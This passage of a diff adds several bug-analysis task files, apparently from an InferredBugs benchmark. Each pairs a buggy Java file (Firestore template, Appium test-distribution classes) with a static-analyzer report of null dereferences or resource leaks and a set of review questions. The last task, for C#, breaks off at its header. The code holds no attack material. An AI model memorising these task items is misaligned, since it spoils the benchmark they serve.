+					.<RunQueryResponse>streamingCall(obs -> this.firestore.runQuery(buider.build(), obs))
+					.filter(RunQueryResponse::hasDocument)
+					.map(RunQueryResponse::getDocument);
+		});
+	}
+
+	private Mono<Document> getDocument(String id, Class aClass, DocumentMask documentMask) {
+		return Mono.subscriberContext().flatMap(ctx -> {
+			FirestorePersistentEntity<?> persistentEntity = this.mappingContext.getPersistentEntity(aClass);
+			GetDocumentRequest.Builder builder = GetDocumentRequest.newBuilder()
+					.setName(buildResourceName(persistentEntity, id));
+
+			doIfTransaction(ctx, holder -> builder.setTransaction(holder.getTransactionId()));
+
+			if (documentMask != null) {
+				builder.setMask(documentMask);
+			}
+
+			return ObservableReactiveUtil.<Document>unaryCall(obs -> this.firestore.getDocument(builder.build(), obs))
+					.onErrorResume(throwable -> throwable.getMessage().startsWith(NOT_FOUND_DOCUMENT_MESSAGE),
+							throwable -> Mono.empty());
+		});
+	}
+
+	private void doIfTransaction(Context ctx, Consumer<ReactiveFirestoreResourceHolder> holderConsumer) {
+		Optional<TransactionContext> transactionContext = ctx.getOrEmpty(TransactionContext.class);
+		transactionContext.ifPresent(transactionCtx -> {
+			ReactiveFirestoreResourceHolder holder = (ReactiveFirestoreResourceHolder) transactionCtx.getResources()
+					.get(this.firestore);
+			if (!holder.getWrites().isEmpty()) {
+				throw new FirestoreDataException(
+						"Read operations are only allowed before write operations in a transaction");
+			}
+			holderConsumer.accept(holder);
+		});
+	}
+
+	private StreamObserver<WriteRequest> openWriteStream(StreamObserver<WriteResponse> obs) {
+		WriteRequest openStreamRequest =
+				WriteRequest.newBuilder().setDatabase(this.databasePath).build();
+		StreamObserver<WriteRequest> requestStreamObserver = this.firestore.write(obs);
+		requestStreamObserver.onNext(openStreamRequest);
+		return requestStreamObserver;
+	}
+
+	// Visible for Testing
+	<T> WriteRequest buildWriteRequest(List<T> entityList, WriteResponse writeResponse) {
+		WriteRequest.Builder writeRequestBuilder = WriteRequest.newBuilder();
+
+		if (isUsingStreamTokens()) {
+			writeRequestBuilder
+					.setStreamId(writeResponse.getStreamId())
+					.setStreamToken(writeResponse.getStreamToken());
+		}
+
+		entityList.stream().map(this::createUpdateWrite).forEach(writeRequestBuilder::addWrites);
+
+		return writeRequestBuilder.build();
+	}
+
+	private <T> Write createUpdateWrite(T entity) {
+		String documentResourceName = buildResourceName(entity);
+		Document document = getClassMapper().entityToDocument(entity, documentResourceName);
+		return Write.newBuilder()
+				.setUpdate(document)
+				.build();
+	}
+
+	private <T> String buildResourceName(T entity) {
+		FirestorePersistentEntity<?> persistentEntity =
+				this.mappingContext.getPersistentEntity(entity.getClass());
+		FirestorePersistentProperty idProperty = persistentEntity.getIdPropertyOrFail();
+		Object idVal = persistentEntity.getPropertyAccessor(entity).getProperty(idProperty);
+
+		return buildResourceName(persistentEntity, idVal.toString());
+	}
+
+	private String buildResourceName(FirestorePersistentEntity<?> persistentEntity, String s) {
+		return this.parent + "/" + persistentEntity.collectionName() + "/" + s;
+	}
+
+	private String getIdValue(Object entity, FirestorePersistentEntity persistentEntity) {
+		FirestorePersistentProperty idProperty = persistentEntity.getIdPropertyOrFail();
+		Object idVal = persistentEntity.getPropertyAccessor(entity).getProperty(idProperty);
+
+		return idVal.toString();
+	}
+
+	public FirestoreClassMapper getClassMapper() {
+		return this.classMapper;
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `idVal` last assigned on line 414  at line 416.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String FirestoreTemplate.buildResourceName(Object)
+
+### Procedure Id:
+org.springframework.cloud.gcp.data.firestore.FirestoreTemplate.buildResourceName(java.lang.Object):j.add8235e5e5a36c524f3f57f159f4e27
+
+### File:
+spring-cloud-gcp-data-firestore/src/main/java/org/springframework/cloud/gcp/data/firestore/FirestoreTemplate.java
+
+### Key:
+FirestoreTemplate.java|buildResourceName|NULL_DEREFERENCE
+
+### Node Key:
+555eb4653f57a9c18c7378b53476017b
+
+### Hash:
+a06c16ccd0b97e9c98b12ef73f7f816e
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10397/instruction.md b/inferredbugs-10397/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..bf00abc1765e2c00cc9029fd5ca6ac63b35cb804
--- /dev/null
+++ b/inferredbugs-10397/instruction.md
@@ -0,0 +1,237 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** AppiumTestDistribution
+**Bug ID:** 61
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.appium.manager;
+
+import com.appium.utils.Api;
+import com.appium.utils.CapabilityManager;
+import com.appium.utils.OSType;
+import com.fasterxml.jackson.databind.DeserializationFeature;
+import com.fasterxml.jackson.databind.ObjectMapper;
+import com.thoughtworks.device.Device;
+import okhttp3.Response;
+import org.json.JSONObject;
+
+import java.io.IOException;
+import java.net.URL;
+import java.net.URLEncoder;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Optional;
+
+public class RemoteAppiumManager implements IAppiumManager {
+
+    @Override
+    public void destroyAppiumNode(String host) throws IOException {
+        new Api().getResponse("http://" + host + ":4567"
+                + "/appium/stop").body().string();
+
+    }
+
+    @Override
+    public String getRemoteWDHubIP(String host) throws IOException {
+        String hostIP = "http://" + host;
+        String appiumRunningPort = new JSONObject(new Api().getResponse(hostIP + ":4567"
+                + "/appium/isRunning").body().string()).get("port").toString();
+        return hostIP + ":" + appiumRunningPort + "/wd/hub";
+    }
+
+    @Override
+    public void startAppiumServer(String host) throws Exception {
+        System.out.println(
+                "**************************************************************************\n");
+        System.out.println("Starting Appium Server on host " + host);
+        System.out.println(
+                "**************************************************************************\n");
+        String serverPath = CapabilityManager.getInstance().getAppiumServerPath(host);
+        String serverPort = CapabilityManager.getInstance().getAppiumServerPort(host);
+        if (serverPath == null
+                && serverPort == null) {
+            System.out.println("Picking Default Path for AppiumServiceBuilder");
+            new Api().getResponse("http://" + host + ":4567"
+                    + "/appium/start").body().string();
+        } else if (serverPath != null && serverPort != null) {
+            System.out.println("Picking UserSpecified Path & Port for AppiumServiceBuilder");
+            new Api().getResponse("http://" + host + ":4567"
+                    + "/appium/start?URL=" + serverPath
+                    + "&PORT=" + serverPort).body().string();
+        } else if (serverPath != null) {
+            System.out.println("Picking UserSpecified Path "
+                    + "& Using default Port for AppiumServiceBuilder");
+            new Api().getResponse("http://" + host + ":4567"
+                    + "/appium/start?URL=" + serverPath).body().string();
+        } else if (serverPort != null) {
+            System.out.println("Picking Default Path & User Port for AppiumServiceBuilder");
+            new Api().getResponse("http://" + host + ":4567"
+                    + "/appium/start?PORT=" + serverPort).body().string();
+        }
+
+        boolean status = Boolean.getBoolean(new JSONObject(new Api().getResponse("http://" + host + ":4567"
+                + "/appium/isRunning").body().string()).get("status").toString());
+        if (status) {
+            System.out.println(
+                    "***************************************************************\n");
+            System.out.println("Appium Server started successfully on  " + host);
+            System.out.println(
+                    "****************************************************************\n");
+        }
+    }
+
+    @Override
+    public List<Device> getDevices(String machineIP, String platform) throws Exception {
+        ObjectMapper mapper = new ObjectMapper()
+                .configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
+        List<Device> devices = new ArrayList<>();
+
+        if (platform.equalsIgnoreCase(OSType.ANDROID.name())
+                || platform.equalsIgnoreCase(OSType.BOTH.name())) {
+            List<Device> androidDevices = Arrays.asList(mapper.readValue(new URL(
+                            "http://" + machineIP + ":4567/devices/android"),
+                    Device[].class));
+            Optional.ofNullable(androidDevices).ifPresent(devices::addAll);
+        }
+        if (platform.equalsIgnoreCase(OSType.iOS.name())
+                || platform.equalsIgnoreCase(OSType.BOTH.name())) {
+            if (CapabilityManager.getInstance().isApp()) {
+                if (CapabilityManager.getInstance().isSimulatorAppPresentInCapsJson()) {
+                    List<Device> bootedSims = Arrays.asList(mapper.readValue(new URL(
+                                    "http://" + machineIP + ":4567/devices/ios/bootedSims"),
+                            Device[].class));
+                    Optional.ofNullable(bootedSims).ifPresent(devices::addAll);
+                }
+                if (CapabilityManager.getInstance().isRealDeviceAppPresentInCapsJson()) {
+                    List<Device> iOSRealDevices = Arrays.asList(mapper.readValue(new URL(
+                                    "http://" + machineIP + ":4567/devices/ios/realDevices"),
+                            Device[].class));
+                    Optional.ofNullable(iOSRealDevices).ifPresent(devices::addAll);
+                }
+            } else {
+                List<Device> iOSDevices = Arrays.asList(mapper.readValue(new URL(
+                                "http://" + machineIP + ":4567/devices/ios/realDevices"),
+                        Device[].class));
+                Optional.ofNullable(iOSDevices).ifPresent(devices::addAll);
+            }
+        }
+        return devices;
+    }
+
+    @Override
+    public Device getSimulator(String machineIP, String deviceName, String os) throws IOException {
+        ObjectMapper mapper = new ObjectMapper()
+                .configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
+        String url = String.format("http://%s:4567/device/ios/simulator"
+                        + "?simulatorName=%s&simulatorOSVersion=%s",
+                machineIP, URLEncoder.encode(deviceName, "UTF-8"),
+                URLEncoder.encode(os, "UTF-8"));
+        Device device = mapper.readValue(new URL(url),
+                Device.class);
+        return device;
+    }
+
+    @Override
+    public int getAvailablePort(String hostMachine) throws IOException {
+        String url = String.format("http://%s:4567/machine/availablePort", hostMachine);
+        Response response = new Api().getResponse(url);
+        return Integer.parseInt(response.body().string());
+    }
+
+    @Override
+    public int startIOSWebKitProxy(String host) throws Exception {
+        int port = getAvailablePort(host);
+        ObjectMapper mapper = new ObjectMapper()
+                .configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
+        String url = String.format("http://%s:4567/devices/ios/webkitproxy/start"
+                        + "?udid=%s&port=%s", host,
+                AppiumDeviceManager.getAppiumDevice().getDevice().getUdid(),
+                port);
+        Response response = new Api().getResponse(url);
+        AppiumDeviceManager.getAppiumDevice().setWebkitProcessID(response.body().string());
+        return port;
+    }
+
+    @Override
+    public void destoryIOSWebKitProxy(String host) throws Exception {
+        if (AppiumDeviceManager.getAppiumDevice().getWebkitProcessID() != null) {
+            ObjectMapper mapper = new ObjectMapper()
+                    .configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false);
+            String url = String.format("http://%s:4567/devices/ios/webkitproxy/stop"
+                            + "?processID=%s", host,
+                    AppiumDeviceManager.getAppiumDevice().getWebkitProcessID());
+            new Api().getResponse(url);
+            AppiumDeviceManager.getAppiumDevice().setWebkitProcessID(null);
+        }
+    }
+}
+
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `__new(com.appium.utils.Api).getResponse(__new(java.lang.StringBuilder).append(hostIP).append(":4567/appium/isRunning").toString()).body()`  at line 33.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String RemoteAppiumManager.getRemoteWDHubIP(String)
+
+### Procedure Id:
+com.appium.manager.RemoteAppiumManager.getRemoteWDHubIP(java.lang.String):java.lang.String.c181a75985124b0824f5c1721e8862bb
+
+### File:
+src/main/java/com/appium/manager/RemoteAppiumManager.java
+
+### Key:
+RemoteAppiumManager.java|getRemoteWDHubIP|NULL_DEREFERENCE
+
+### Node Key:
+4ca352405b7b88367bd1ea08956d3411
+
+### Hash:
+69df9750541d7c5290946132b3c41943
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10413/instruction.md b/inferredbugs-10413/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..326cf385ef07bcb6fc2178d9915d43ef4561bb1a
--- /dev/null
+++ b/inferredbugs-10413/instruction.md
@@ -0,0 +1,370 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** AppiumTestDistribution
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.appium.executor;
+
+import com.appium.cucumber.report.HtmlReporter;
+import com.appium.manager.PackageUtil;
+import com.appium.utils.ImageUtils;
+import org.junit.runner.JUnitCore;
+import org.junit.runner.Result;
+import org.junit.runner.notification.Failure;
+import org.reflections.Reflections;
+import org.reflections.scanners.MethodAnnotationsScanner;
+import org.reflections.util.ClasspathHelper;
+import org.reflections.util.ConfigurationBuilder;
+import org.testng.TestNG;
+import org.testng.collections.Lists;
+import org.testng.xml.XmlClass;
+import org.testng.xml.XmlInclude;
+import org.testng.xml.XmlSuite;
+import org.testng.xml.XmlSuite.ParallelMode;
+import org.testng.xml.XmlTest;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.lang.reflect.Method;
+import java.net.URL;
+import java.util.*;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+import static java.util.Arrays.asList;
+
+public class MyTestExecutor {
+    List<Thread> threads = new ArrayList<Thread>();
+    public static Properties prop = new Properties();
+    public List<Class> testcases = new ArrayList<>();
+    public HtmlReporter reporter = new HtmlReporter();
+
+    @SuppressWarnings("rawtypes") public void distributeTests(int deviceCount) {
+        try {
+            PackageUtil.getClasses("output").stream().forEach(s -> {
+                if (s.toString().contains("IT")) {
+                    System.out.println("forEach: " + testcases.add((Class) s));
+                }
+            });
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        ExecutorService executorService = Executors.newFixedThreadPool(deviceCount);
+        for (final Class testFile : testcases) {
+            executorService.submit(new Runnable() {
+                public void run() {
+                    System.out.println("Running test file: " + testFile.getName());
+                    runTestCase(testFile);
+
+                }
+            });
+        }
+        executorService.shutdown();
+        try {
+            executorService.awaitTermination(Long.MAX_VALUE, TimeUnit.NANOSECONDS);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+        deleteOutputDirectory();
+        try {
+            reporter.generateReports();
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+        System.out.println("ending");
+    }
+
+    @SuppressWarnings("rawtypes") public void parallelTests(int deviceCount)
+        throws InterruptedException {
+        try {
+            PackageUtil.getClasses("output").stream().forEach(s -> {
+                if (s.toString().contains("IT")) {
+                    System.out.println("forEach: " + testcases.add((Class) s));
+                }
+            });
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        for (int i = 0; i < deviceCount; i++) {
+            final int x = i;
+            Thread t = new Thread(new Runnable() {
+
+                public void run() {
+                    // TODO Auto-generated method stub
+                    runTests(testcases);
+                }
+
+                private void runTests(List<Class> testCases) {
+                    for (Class test : testCases) {
+                        System.out.println(
+                            "*****CurrentRunningThread" + Thread.currentThread().getId() + test);
+                        runTestCase(test);
+                    }
+                }
+            });
+
+            threads.add(t);
+            t.start();
+        }
+
+        for (Thread t : threads) {
+            t.join();
+        }
+        deleteOutputDirectory();
+        try {
+            reporter.generateReports();
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+        System.out.println("Finally complete");
+    }
+
+
+    public void runMethodParallelAppium(List<String> test, String pack, int devicecount,
+        String executionType) throws Exception {
+        Collection<URL> urls = ClasspathHelper.forPackage(pack);
+        Iterator<URL> iter = urls.iterator();
+        URL url = iter.next();
+        urls.clear();
+        URL newUrl = new URL(url.toString() + pack.replaceAll("\\.", "/"));
+        List<URL> newUrls = Lists.newArrayList(newUrl);
+        Reflections reflections = new Reflections(new ConfigurationBuilder().setUrls(newUrls)
+            .setScanners(new MethodAnnotationsScanner()));
+        Set<Method> resources =
+            reflections.getMethodsAnnotatedWith(org.testng.annotations.Test.class);
+        if (executionType.equalsIgnoreCase("distribute")) {
+            runMethodParallel(
+                constructXmlSuiteForDistribution(pack, test, createTestsMap(resources),
+                    devicecount), devicecount);
+        } else {
+            runMethodParallel(
+                constructXmlSuiteForParallel(pack, test, createTestsMap(resources), devicecount),
+                devicecount);
+        }
+        ImageUtils.createGif();
+        System.out.println("Finally complete");
+    }
+
+    public static void testRunnerTestNg(@SuppressWarnings("rawtypes") Class arg) {
+        TestNG test = new TestNG();
+        test.setTestClasses(new Class[] {arg});
+        System.out.println("Into TestNGRunner");
+        test.run();
+    }
+
+    public void runMethodParallel(XmlSuite suite, int threadCount) {
+        TestNG testNG = new TestNG();
+        testNG.setXmlSuites(asList(suite));
+        System.out.println(suite.toXml());
+        testNG.run();
+    }
+
+    public XmlSuite constructXmlSuiteForParallel(String pack, List<String> testcases,
+        Map<String, List<Method>> methods, int deviceCount) {
+        ArrayList<String> items = new ArrayList<>();
+        try {
+            prop.load(new FileInputStream("config.properties"));
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+        XmlSuite suite = new XmlSuite();
+        items.add("com.appium.manager.AppiumParallelTest");
+        items.add("com.appium.utils.RetryListener");
+        if (prop.getProperty("LISTENERS") != null) {
+            Collections.addAll(items, prop.getProperty("LISTENERS").split("\\s*,\\s*"));
+        }
+
+        suite.setName("TestNG Forum");
+        suite.setThreadCount(deviceCount);
+        suite.setParallel(ParallelMode.TESTS);
+        suite.setVerbose(2);
+        suite.setListeners(items);
+        if (prop.getProperty("LISTENERS") != null) {
+            suite.setListeners(items);
+        }
+        for (int i = 0; i < deviceCount; i++) {
+            XmlTest test = new XmlTest(suite);
+            test.setName("TestNG Test" + i);
+            test.setPreserveOrder("false");
+            List<XmlClass> xmlClasses = new ArrayList<>();
+            for (String className : methods.keySet()) {
+                if (className.contains("Test")) {
+                    if (testcases.size() == 0) {
+                        xmlClasses.add(createClass(className, methods.get(className)));
+                    } else {
+                        for (String s : testcases) {
+                            if (pack.concat("." + s).equals(className)) {
+                                xmlClasses.add(createClass(className, methods.get(className)));
+                            }
+                        }
+                    }
+                }
+            }
+            test.setXmlClasses(xmlClasses);
+        }
+        return suite;
+    }
+
+    public XmlSuite constructXmlSuiteForDistribution(String pack, List<String> tests,
+        Map<String, List<Method>> methods, int deviceCount) {
+        ArrayList<String> items = new ArrayList<>();
+        try {
+            prop.load(new FileInputStream("config.properties"));
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+        if (prop.getProperty("LISTENERS") != null) {
+            Collections.addAll(items, prop.getProperty("LISTENERS").split("\\s*,\\s*"));
+        }
+        XmlSuite suite = new XmlSuite();
+        suite.setName("TestNG Forum");
+        suite.setThreadCount(deviceCount);
+        suite.setParallel(ParallelMode.CLASSES);
+        suite.setVerbose(2);
+        items.add("com.appium.manager.AppiumParallelTest");
+        items.add("com.appium.utils.RetryListener");
+        suite.setListeners(items);
+        if (prop.getProperty("LISTENERS") != null) {
+            suite.setListeners(items);
+        }
+        XmlTest test = new XmlTest(suite);
+        test.setName("TestNG Test");
+        List<XmlClass> xmlClasses = new ArrayList<>();
+        for (String className : methods.keySet()) {
+            if (className.contains("Test")) {
+                if (tests.size() == 0) {
+                    xmlClasses.add(createClass(className, methods.get(className)));
+                } else {
+                    for (String s : tests) {
+                        if (pack.concat("." + s).equals(className)) {
+                            xmlClasses.add(createClass(className, methods.get(className)));
+                        }
+                    }
+                }
+
+            }
+        }
+        test.setXmlClasses(xmlClasses);
+        return suite;
+    }
+
+
+    private XmlClass createClass(String className, List<Method> methods) {
+        XmlClass clazz = new XmlClass();
+        clazz.setName(className);
+        //clazz.setIncludedMethods(constructIncludes(methods));
+        return clazz;
+    }
+
+
+    private List<XmlInclude> constructIncludes(List<Method> methods) {
+        List<XmlInclude> includes = new ArrayList<>();
+        for (Method m : methods) {
+            includes.add(new XmlInclude(m.getName()));
+        }
+        return includes;
+    }
+
+    public Map<String, List<Method>> createTestsMap(Set<Method> methods) {
+        Map<String, List<Method>> testsMap = new HashMap<>();
+        methods.stream().forEach(method -> {
+            List<Method> methodsList = testsMap.get(
+                method.getDeclaringClass().getPackage().getName() + "." + method.getDeclaringClass()
+                    .getSimpleName());
+            if (methodsList == null) {
+                methodsList = new ArrayList<>();
+                testsMap.put(method.getDeclaringClass().getPackage().getName() + "." + method
+                    .getDeclaringClass().getSimpleName(), methodsList);
+            }
+            methodsList.add(method);
+        });
+        return testsMap;
+    }
+
+    public void runTestCase(Class testCase) {
+        Result result = JUnitCore.runClasses(testCase);
+        for (Failure failure : result.getFailures()) {
+            System.out.println(failure.toString());
+        }
+    }
+
+    public void deleteOutputDirectory() {
+        File delete_output = new File(System.getProperty("user.dir") + "/src/test/java/output/");
+        File[] files = delete_output.listFiles();
+        for (File file : files) {
+            file.delete();
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileInputStream` acquired by call to `FileInputStream(...)` at line 209 is not released after line 209.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+XmlSuite MyTestExecutor.constructXmlSuiteForDistribution(String,List,HashMap,int)
+
+### Procedure Id:
+com.appium.executor.MyTestExecutor.constructXmlSuiteForDistribution(java.lang.String,java.util.List,.9438a784ec6ed9bf5de18cdb1e548c58
+
+### File:
+src/main/java/com/appium/executor/MyTestExecutor.java
+
+### Key:
+MyTestExecutor.java|constructXmlSuiteForDistribution|RESOURCE_LEAK
+
+### Node Key:
+b40a38f4b462c12833b13ba20361a8ba
+
+### Hash:
+3c611cb051021cf299d26fe304a6bcaa
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10414/instruction.md b/inferredbugs-10414/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..26e1a0c8e0bca942c8bb90116b3ef1af3a8bac16
--- /dev/null
+++ b/inferredbugs-10414/instruction.md
@@ -0,0 +1,232 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** AppiumTestDistribution
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.appium.manager;
+
+import com.appium.executor.MyTestExecutor;
+import com.appium.ios.IOSDeviceConfiguration;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.*;
+
+/*
+ * This class picks the devices connected
+ * and distributes across multiple thread.
+ *
+ * Thanks to @Thote_Gowda(thotegowda.gr@gmail.com)
+ */
+
+public class ParallelThread {
+	protected int deviceCount = 0;
+	Map<String, String> devices = new HashMap<String, String>();
+	Map<String, String> iOSdevices = new HashMap<String, String>();
+	AndroidDeviceConfiguration deviceConf = new AndroidDeviceConfiguration();
+	IOSDeviceConfiguration iosDevice= new IOSDeviceConfiguration();
+	MyTestExecutor myTestExecutor = new MyTestExecutor();
+	public Properties prop = new Properties();
+	public InputStream input = null;
+	List<Class> testcases;
+
+	@SuppressWarnings({ "rawtypes" })
+	public void runner(String pack) throws Exception {
+		File f = new File(System.getProperty("user.dir") + "/target/appiumlogs/");
+		if (!f.exists()) {
+			System.out.println("creating directory: " + "Logs");
+			boolean result = false;
+			try {
+				f.mkdir();
+				result = true;
+			} catch (SecurityException se) {
+				// handle it
+			}
+			if (result) {
+				System.out.println("DIR created");
+			}
+		}
+
+		File adb_logs = new File(System.getProperty("user.dir") + "/target/adblogs/");
+		if (!adb_logs.exists()) {
+			System.out.println("creating directory: " + "ADBLogs");
+			boolean result = false;
+			try {
+				adb_logs.mkdir();
+				result = true;
+			} catch (SecurityException se) {
+				// handle it
+			}
+			if (result) {
+				System.out.println("DIR created");
+			}
+		}
+		input = new FileInputStream("config.properties");
+		prop.load(input);
+
+		if(deviceConf.getDevices() != null){
+			devices = deviceConf.getDevices();
+			deviceCount = devices.size() / 3;
+			createSnapshotFolderAndroid(deviceCount,"android");
+		}
+		if(iosDevice.getIOSUDID() != null){
+			iOSdevices = iosDevice.getIOSUDIDHash();
+			deviceCount += iosDevice.getIOSUDID().size();
+			createSnapshotFolderiOS(deviceCount,"iPhone");
+		}
+
+		if(deviceCount == 0){
+			System.exit(0);
+		}
+
+		System.out.println("Total Number of devices detected::" + deviceCount);
+		System.out.println("starting running tests in threads");
+
+		testcases = new ArrayList<Class>();
+
+		// final String pack = "com.paralle.tests"; // Or any other package
+		PackageUtil.getClasses(pack).stream().forEach(s -> {
+			if (s.toString().contains("Test")) {
+				System.out.println("forEach: " + testcases.add((Class) s));
+			}
+		});
+
+		if (prop.getProperty("RUNNER").equalsIgnoreCase("distribute")) {
+			//myTestExecutor.distributeTests(deviceCount, testcases);
+			myTestExecutor.runMethodParallelAppium(pack, deviceCount,"distribute");
+
+		}
+		else if (prop.getProperty("RUNNER").equalsIgnoreCase("parallel")) {
+			myTestExecutor.runMethodParallelAppium(pack, deviceCount,"parallel");
+		}
+
+	}
+
+	public void createSnapshotFolderAndroid(int deviceCount,String platform) {
+		for (int i = 1; i <= deviceCount; i++) {
+			String deviceSerial = devices.get("deviceID" + i);
+			System.out.println(deviceSerial);
+            createPlatformDirectory(platform);
+            File file = new File(System.getProperty("user.dir") + "/target/screenshot/"+platform+"/"+deviceSerial.replaceAll("\\W", "_"));
+				if (!file.exists()) {
+					if (file.mkdir()) {
+						System.out.println("Android Device Serial Directory is created!");
+					} else {
+						System.out.println("Failed to create directory!");
+					}
+				}
+
+
+		}
+	}
+
+    public void createSnapshotFolderiOS(int deviceCount,String platform) {
+        for (int i = 1; i <= deviceCount; i++) {
+            String deviceSerial = iOSdevices.get("deviceID" + i);
+            System.out.println(deviceSerial);
+            createPlatformDirectory(platform);
+            File file = new File(System.getProperty("user.dir") + "/target/screenshot/"+platform+"/"+deviceSerial.replaceAll("\\W", "_"));
+            if (!file.exists()) {
+                if (file.mkdir()) {
+                    System.out.println("IOS Device Serial Directory is created!");
+                } else {
+                    System.out.println("Failed to create directory!");
+                }
+            }
+
+
+        }
+    }
+
+
+    public void createPlatformDirectory(String platform){
+        File file2 = new File(System.getProperty("user.dir")+"/target/screenshot");
+        if (!file2.exists()) {
+            if (file2.mkdir()) {
+                System.out.println("Directory is created!");
+            } else {
+                System.out.println("Failed to create directory!");
+            }
+        }
+
+        File file3 = new File(System.getProperty("user.dir")+"/target/screenshot/"+platform);
+        if (!file3.exists()) {
+            if (file3.mkdir()) {
+                System.out.println("Directory is created!");
+            } else {
+                System.out.println("Failed to create directory!");
+            }
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.lang.Process` acquired to `com.appium.utils.CommandPrompt.p` by call to `getIOSUDIDHash()` at line 69 is not released after line 70.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ParallelThread.runner(String)
+
+### Procedure Id:
+com.appium.manager.ParallelThread.runner(java.lang.String):void.9dc1fcf1742e47b43c340d5f66980682
+
+### File:
+src/main/java/com/appium/manager/ParallelThread.java
+
+### Key:
+ParallelThread.java|runner|RESOURCE_LEAK
+
+### Node Key:
+cc21be5ec9047b64330410ad1d1e61fa
+
+### Hash:
+818d93fd4275370c40263be37e842206
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-1042/instruction.md b/inferredbugs-1042/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..e73d3a39786ddd256147c571c3a079a9692a727e
--- /dev/null
+++ b/inferredbugs-1042/instruction.md
@@ -0,0 +1,229 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** AM2RLauncher
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
